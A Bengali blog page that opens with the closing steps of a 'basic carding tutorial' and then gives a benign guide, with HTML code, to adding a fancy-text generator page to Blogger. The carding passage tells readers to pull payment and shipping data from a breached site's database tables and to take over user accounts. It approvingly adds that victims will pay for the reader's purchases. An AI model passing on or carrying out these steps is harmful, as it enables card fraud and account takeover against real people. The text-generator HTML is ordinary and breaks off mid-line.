৯.এই ভাবে অন্য টেবিলের ডাটা এক্সপ্লোর করুন। Payment, Shipping এ অন্য ইনফরমেশন পেয়েছি।সেম ভাবে সিলেক্ট করে ইনফরমেশন কালেক্ট করুন।

১০.এই ওয়েবসাইটে এডমিন অ্যাক্সেস এর পাশাপাশি আপনি কোন ইউজারের অ্যাকাউন্টও অ্যাক্সেস করতে পারবেন। ইউজার টেবিল থেকে।


এখন এই ইনফরমেশন গুলো দিয়ে আপনি অনলাইনে পেমেন্ট করতে পারবেন লাভ আপনার বিল পে করতে হবে ভিক্টিমের।

এই ছিল ব্যাসিক কার্ডিং টিউটোরিয়াল। আশা করি বুঝতে পারছেন।কলামের ইনফরমেশন এবং ওয়েবসাইটের ইউ আর এল ডিসক্লোজ করি নাই।

January 29, 2022

How to create stylish text generator website in blogger? ব্লগারে কিভাবে স্টাইলিশ টেক্সট জেনারেটর ওয়েবসাইট বানাবো?

 

How to create stylish text generator website in blogger? ব্লগারে কিভাবে স্টাইলিশ টেক্সট জেনারেটর ওয়েবসাইট বানাবো?

ব্লগারের জন্য স্টাইলিশ টেক্সট জেনারেটর স্ক্রিপ্ট অনেক রয়েছে।আপনি চাইলে গুগলে সার্চ করলেই পেয়ে যাবেন।কিন্তু সেই স্ক্রিপ্ট গুলো দিয়ে একটি আলাদা ব্লগ বানাতে হয়।আপনি আপনার ব্লগে পেজ আকারে সেটি পাবলিশ করে আপনার ব্লগে আলাদা একটি টুল অ্যাড করতে পারবেন না।

তাহলে প্রশ্ন জাগতে পারে আপনাদের মনে,আমার পোস্টের বিষয় কি? ওয়েল,আমি আজকে আপনাদের সাথে শেয়ার করবো কিভাবে আপনি আপনার ওয়েবসাইটে আমার শেয়ার করার অন্যান্য স্ক্রিপ্ট গুলোর মত পেজ আকারে স্টাইলিশ টেক্সট জেনারেটর বানাবেন।

এখানে ক্লিক করে 👉 DEMO দেখুন।

Can I use this tool to generate Pubg/Free Fire/Facebook/Instagram styliah name? আমি কি এই টুলটি ইউজ করে আমার পাব্জি/ফ্রী ফায়ার/ফেসবুক/ইনস্টাগ্রাম আইডির নাম স্টাইলিশ বানাতে পারি?

জ্বী,আপনি চাইলে আপনার পাবজি/ফ্রী ফায়ার/ফেসবুক/ইনস্টাগ্রাম এর নাম স্টাইলিশ করতে পারেন আপনার ওয়েবসাইটের এই টুলটির সাহায্যে।আপনি আপনার পাবজি আইডিতে স্টাইলিশ ফন্ট ইউজ করতে পারবেন।এজন্যে আপনি আপনার ওয়েবসাইটে বানানো স্টাইলিশ টেক্সট জেনারেটর টুলসে যাবেন,এবং আপনার ইচ্ছে মত নাম দিয়ে তারপর স্টাইলিশ ফন্ট জেনারেট করে নিয়ে সেটি পাবজী আইডিতে ইউজ করতে পারবেন।

How to generate fancy font? কিভাবে ফ্যান্সি ফন্ট জেনারেট করবো?

প্রথমে আপনার ওয়েবসাইটের স্টাইলিশ ফন্ট জেনারেটর টুলস এ যাবেন,তারপর ফাঁকা বক্সে আপনার নাম দিলে নিচে দেখতে পারবেন অনেক স্টাইলিশ ফন্ট জেনারেট হয়ে গেছে।আপনার ইচ্ছে মত যেকোনো স্টাইলিশ ফন্ট ইউজ করতে পারেন।

ফেইসবুকে আপনি আপনার আইডির নাম স্টাইলিশ দিতে পারেন,কিংবা কাউকে কোনো মেসেজ স্টাইলিশ ফন্ট ইউজ করে পাঠাতে পারেন।এজন্যে আপনি এই ওয়েবসাইটের স্টাইলিশ ফন্ট জেনারেটর টুলটি ইউজ করতে পারেন।এই ওয়েবসাইটের স্টাইলিশ ফন্ট জেনারেটর টুল দিয়ে আপনি আপনার ফেসবুক/ইনস্টাগ্রাম/পাবজি/ফ্রী ফায়ার আইডির জন্যে স্টাইলিশ ফন্ট জেনারেট করতে পারবেন ফ্রী তে।

Benefits of fancy font generator tool? স্টাইলিশ টেক্সট জেনারেটর টুলটি উপকারিতা কি?

আপনি বা আমি সবাই জানি যে স্টাইলিশ টেক্সট জেনারেটর ওয়েবসাইটের উপকারিতা কি এবং এটি কি কাজে ব্যবহৃত হয়।আপনি গুগলে স্টাইলিশ টেক্সট লিখে সার্চ দিলেই অনেক ওয়েবসাইটে পেয়ে যাবেন,যেগুলো ওয়েবসাইটে তারা শুধু মাত্র ফন্ট জেনারেটর টুল দিয়েই অ্যাডসেন্স এপ্রুভাল পেয়ে গেছে।

আপনি এই টুলটি আপনার ওয়েবসাইটে অ্যাড করে গুগল থেকে ভালো পরিমাণে ভিজিটর নিয়ে আসতে পারেন আপনার ওয়েবসাইটে।।

How to add stylish font generator tools in my website?কিভাবে আমার ওয়েবসাইটে স্টাইলিশ ফন্ট জেনারেটর টুলস অ্যাড করবো?

নিচের ধাপগুলো মনোযোগ সহকারে ফলো করে আপনি আপনার ওয়েবসাইটে Pubg stylish font generator অ্যাড করতে পারবেন।

তো চলুন,শুরু করা যাক Facebook Stylish Text generator বানানোর কাজ….

প্রথমে ব্লগারে লগইন করে নিন।তারপর যাবেন Pages এ।

তারপর +(plus) আইকনে ক্লিক করবেন।

এখন ক্লিক করুন এখানে।


তারপর HTML VIEW অন করে দিন।

এখন ইচ্ছে মত একটি টাইটেল দিন।

এবারে এখানে ক্লিক করে কোডগুলো কপি করে নিন অথবা ডাউনলোড করে নিয়ে টেক্সট এডিটর দিয়ে ওপেন করে কোডগুলো কপি করে ফাঁকা বক্সে পেস্ট করে তারপর পেজটি পাবলিশ করে দিন।


<!DOCTYPE html>
<html>
<head>


<meta charset="utf-8">
<title>Facebook Instagram Stylish Text</title>


<meta name="viewport" content="width=device-width, initial-scale=1">


<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="me" href="https://www.blogger.com/profile/06570549574403339663" />
<link rel="icon" href="https://kgo.googleusercontent.com/profile_vrt_raw_bytes_1587515358_10512.png" type="image/gif" sizes="16x16">
</head>
<body>


<p align="center"> 
<!-- Button to Open the About Page Modal -->
<button type="button" class="btn btn-secondary" data-toggle="modal" data-target="#about-page">
  About Page
</button>


<!-- Button to Open the Contact Page Modal -->
<button type="button" class="btn btn-secondary" data-toggle="modal" data-target="#Contact-Us">
  Contact Us
</button>


<!-- Button to Open the Privacy Page Modal -->
<button type="button" class="btn btn-secondary" data-toggle="modal" data-target="#privacy-page">
  Privacy Policy
</button>
  
  </p>


<!-- About page Modal -->
<!-- The Modal -->
<div class="modal" id="about-page">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">


      <!-- Modal Header -->
      <div class="modal-header">
        <h4 class="modal-title">About Page</h4>
        <button type="button" class="close" data-dismiss="modal">&times;</button>
      </div>


      <!-- Modal body -->
      <div class="modal-body">


<a href="https://www.pietune.xyz">about us paste here</a>


      </div>


      <!-- Modal footer -->
      <div class="modal-footer">
        <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
      </div>


    </div>
  </div>
</div>
<!-- End About page Modal -->


<!-- Contact Modal -->
<!-- The Modal -->
<div class="modal" id="Contact-Us">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">


      <!-- Modal Header -->
      <div class="modal-header">
        <h4 class="modal-title">Contact Us</h4>
        <button type="button" class="close" data-dismiss="modal">&times;</button>
      </div>


      <!-- Modal body -->
      <div class="modal-body">
        
               <a href="https://www.pietune.xyz">Contact us paste here</a>
                
      </div>


      <!-- Modal footer -->
      <div class="modal-footer">
        <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
      </div>


    </div>
  </div>
</div>
<!-- End privacy page Modal -->


<!-- privacy page Modal -->
<!-- The Modal -->
<div class="modal" id="privacy-page">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">


      <!-- Modal Header -->
      <div class="modal-header">
        <h4 class="modal-title">Privacy Page</h4>
        <button type="button" class="close" data-dismiss="modal">&times;</button>
      </div>


      <!-- Modal body -->
      <div class="modal-body">
        
               <a href="https://www.pietune.xyz">Privacy Policy Paste here</a>
      </div>


      <!-- Modal footer -->
      <div class="modal-footer">
        <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
      </div>


    </div>
  </div>
</div>
 
<!-- End privacy page Modal -->
  


<hr>
<h1 style="text-align:center;"><a href="https://www.pietune.xyz">Facebook Instagram Stylish Text</a></h1>
<center>
<p><a href="https://www.pietune.xyz">
Hey everyone! Facebook Instagram Stylesh Text Generator is a online stylish text generator. you will bbe able to generate different stylish text by putting any text in 1 box. You will get stylish text genereted in different boxes in down.you can copy that by clicking in copy and paste it into you facebook profile, faceboom bio, Instagram profile, instagram bio and different social medias.</a>
</p>
</center>
<textarea type="text" class="form-control fancytext" style="width:100%; margin-top:5px; background-color:#000000 !important; color:#ffffff" required="required" name="text" placeholder="Type or paste text here.." value=""></textarea>
<br />




<div id="result"><div class="input-group mb-3"><input type="text" class="form-control text-1" value="𝔓𝔯𝔢𝔳𝔦𝔢𝔴 𝔗𝔢𝔵𝔱" id="copy_0" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_0">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-2" value="𝕻𝖗𝖊𝖛𝖎𝖊𝖜 𝕿𝖊𝖝𝖙" id="copy_1" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_1">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-3" value="✋♪  Ƥ𝔯Ⓔᐯ𝔦乇ω т乇𝐗𝐭  😈🌷" id="copy_2" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_2">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-4" value="𝓟𝓻𝓮𝓿𝓲𝓮𝔀 𝓣𝓮𝔁𝓽" id="copy_3" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_3">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-5" value="𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉" id="copy_4" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_4">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-6" value="ℙ𝕣𝕖𝕧𝕚𝕖𝕨 𝕋𝕖𝕩𝕥" id="copy_5" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_5">Copy</span></div></div>
<div class="input-group mb-3"><input type="text" class="form-control text-7" value="Preview Text" id="copy_6" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_6">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-8" value="🐓 ⋆ 🐤  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  🐤 ⋆ 🐓" id="copy_7" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_7">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-9" value="ᴘʀᴇᴠɪᴇᴡ ᴛᴇxᴛ" id="copy_8" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_8">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-10" value="ʇxǝ⊥ ʍǝıʌǝɹԀ" id="copy_9" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_9">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-11" value="P⃣&nbsp;&nbsp;&nbsp;r⃣&nbsp;&nbsp;&nbsp;e⃣&nbsp;&nbsp;&nbsp;v⃣&nbsp;&nbsp;&nbsp;i⃣&nbsp;&nbsp;&nbsp;e⃣&nbsp;&nbsp;&nbsp;w⃣ &nbsp;&nbsp;&nbsp;T⃣&nbsp;&nbsp;&nbsp;e⃣&nbsp;&nbsp;&nbsp;x⃣&nbsp;&nbsp;&nbsp;t⃣" id="copy_10" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_10">Copy</span></div></div>
<div class="input-group mb-3"><input type="text" class="form-control text-12" value="P⃞ &nbsp;&nbsp; r⃞ &nbsp;&nbsp; e⃞ &nbsp;&nbsp; v⃞ &nbsp;&nbsp; i⃞ &nbsp;&nbsp; e⃞ &nbsp;&nbsp; w⃞  &nbsp;&nbsp; T⃞ &nbsp;&nbsp; e⃞ &nbsp;&nbsp; x⃞ &nbsp;&nbsp; t⃞" id="copy_11" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_11">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-13" value="🄿🅁🄴🅅🄸🄴🅆 🅃🄴🅇🅃" id="copy_12" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_12">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-14" value="ƚxɘT wɘivɘɿꟼ" id="copy_13" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_13">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-15" value="P̸̡̛̬̪̙͎̻̺̹̻̎͆̇̋̆r̸̡͙̦̺̜̪̋̅͌͋̈̈́̀̈́͠͝ȩ̶̯͙̰̜̈́̂̒͠v̸̛͖̰̤̗̝͕̆͊̐̂́̀͜͝͝ị̵̡̲̩̘̟͎̫̝̊̀̎̌̎̈́͂̀̕ẻ̴͓͈̗̖̞̖̣̯̰̓͑͊̐̕w̷̨̛̟͎̗͈̯̘̤͆͆̇͒̈̋̈͠ ̶̲̮̦͇̣̎̾́ͅT̴̖̜̄͋̄͋̇̄̄͗͘͝e̶̳̰̲͙̼͓̣̰͕̩͊̿̐͆͗̽x̵̼̫̙͇̘̗̒̄̽̾̎̑̽̀̾̚t̴͙́̈́͝" id="copy_14" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_14">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-16" value="🅿🆁🅴🆅🅸🅴🆆 🆃🅴🆇🆃" id="copy_15" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_15">Copy</span></div></div>


<div class="input-group mb-3"><input type="text" class="form-control text-17" value="ₚᵣₑᵥᵢₑw ₜₑₓₜ" id="copy_16" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_16">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-18" value="ᴾʳᵉᵛⁱᵉʷ ᵀᵉˣᵗ" id="copy_17" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_17">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-19" value="Ⓟⓡⓔⓥⓘⓔⓦ Ⓣⓔⓧⓣ" id="copy_18" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_18">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-20" value="קгєשเєฬ ՇєאՇ" id="copy_19" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_19">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-21" value="Pɾҽʋιҽɯ Tҽxƚ" id="copy_20" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_20">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-22" value="քʀɛʋɨɛա ȶɛӼȶ" id="copy_21" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_21">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-23" value="ᎮᏒᏋᏉᎥᏋᏇ ᏖᏋጀᏖ" id="copy_22" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_22">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-24" value="℘ཞɛ۷ıɛῳ ɬɛҳɬ" id="copy_23" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_23">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-25" value="prēงiēຟ tēxt" id="copy_24" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_24">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-26" value="𝐏𝐫𝐞𝐯𝐢𝐞𝐰 𝐓𝐞𝐱𝐭" id="copy_25" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_25">Copy</span></div></div>
<div class="input-group mb-3"><input type="text" class="form-control text-27" value="𝗣𝗿𝗲𝘃𝗶𝗲𝘄 𝗧𝗲𝘅𝘁" id="copy_26" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_26">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-28" value="𝘗𝘳𝘦𝘷𝘪𝘦𝘸 𝘛𝘦𝘹𝘵" id="copy_27" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_27">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-29" value="𝙋𝙧𝙚𝙫𝙞𝙚𝙬 𝙏𝙚𝙭𝙩" id="copy_28" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_28">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-30" value="𝙿𝚛𝚎𝚟𝚒𝚎𝚠 𝚃𝚎𝚡𝚝" id="copy_29" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_29">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-31" value="PЯΣVIΣЩ ƬΣXƬ" id="copy_30" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_30">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-32" value="ρяєνιєω тєχт" id="copy_31" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_31">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-33" value="þrêvïêw †êx†" id="copy_32" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_32">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-34" value="₱ⱤɆVłɆ₩ ₮ɆӾ₮" id="copy_33" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_33">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-35" value="卩尺乇ᐯ丨乇山 ㄒ乇乂ㄒ" id="copy_34" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_34">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-36" value="ア尺乇√ノ乇W イ乇メイ" id="copy_35" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_35">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-37" value="【P】【r】【e】【v】【i】【e】【w】 【T】【e】【x】【t】" id="copy_36" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_36">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-38" value="『P』『r』『e』『v』『i』『e』『w』 『T』『e』『x』『t』" id="copy_37" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_37">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-39" value="≋P≋r≋e≋v≋i≋e≋w≋ ≋T≋e≋x≋t≋" id="copy_38" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_38">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-40" value="░P░r░e░v░i░e░w░ ░T░e░x░t░" id="copy_39" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_39">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-41" value="(っ◔◡◔)っ ♥ Preview Text ♥" id="copy_40" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_40">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-42" value="Preview Text 閲ワョ" id="copy_41" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_41">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-43" value="Preview░Text (閲ワョ)" id="copy_42" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_42">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-44" value="【&#65279;Preview Text】" id="copy_43" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_43">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-45" value="˜”*°•.˜”*°• Preview Text •°*”˜.•°*”˜" id="copy_44" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_44">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-46" value="[̲̅P][̲̅r][̲̅e][̲̅v][̲̅i][̲̅e][̲̅w] [̲̅T][̲̅e][̲̅x][̲̅t]" id="copy_45" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_45">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-47" value="P҉r҉e҉v҉i҉e҉w҉ ҉T҉e҉x҉t҉" id="copy_46" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_46">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-48" value="φɾҽѵìҽա Ͳҽ×է" id="copy_47" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_47">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-49" value="ᑭᖇEᐯIEᗯ TE᙭T" id="copy_48" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_48">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-50" value="ᕵᖇᘿᐺᓰᘿᘺ ᖶᘿ᙭ᖶ" id="copy_49" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_49">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-51" value="P̶r̶e̶v̶i̶e̶w̶ ̶T̶e̶x̶t̶" id="copy_50" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_50">Copy</span></div></div>
<div class="input-group mb-3"><input type="text" class="form-control text-52" value="P̴r̴e̴v̴i̴e̴w̴ ̴T̴e̴x̴t̴" id="copy_51" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_51">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-53" value="P̷r̷e̷v̷i̷e̷w̷ ̷T̷e̷x̷t̷" id="copy_52" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_52">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-54" value="P̲r̲e̲v̲i̲e̲w̲ ̲T̲e̲x̲t̲" id="copy_53" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_53">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-55" value="P̳r̳e̳v̳i̳e̳w̳ ̳T̳e̳x̳t̳" id="copy_54" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_54">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-56" value="P̾r̾e̾v̾i̾e̾w̾ ̾T̾e̾x̾t̾" id="copy_55" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_55">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-57" value="P♥r♥e♥v♥i♥e♥w♥ ♥T♥e♥x♥t" id="copy_56" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_56">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-58" value="P͎r͎e͎v͎i͎e͎w͎ ͎T͎e͎x͎t͎" id="copy_57" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_57">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-59" value="P͓̽r͓̽e͓̽v͓̽i͓̽e͓̽w͓̽ ͓̽T͓̽e͓̽x͓̽t͓̽" id="copy_58" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_58">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-60" value="Wingdings: 🏱︎❒︎♏︎❖︎♓︎♏︎⬥︎ ❄︎♏︎⌧︎⧫︎" id="copy_59" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_59">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-61" value="✴  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  ✴" id="copy_60" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_60">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-62" value="✶  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  ✶" id="copy_61" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_61">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-63" value="✴。  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  。✴" id="copy_62" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_62">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-64" value="🐳  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  🐳" id="copy_63" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_63">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-65" value="—(••÷  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  ÷••(—" 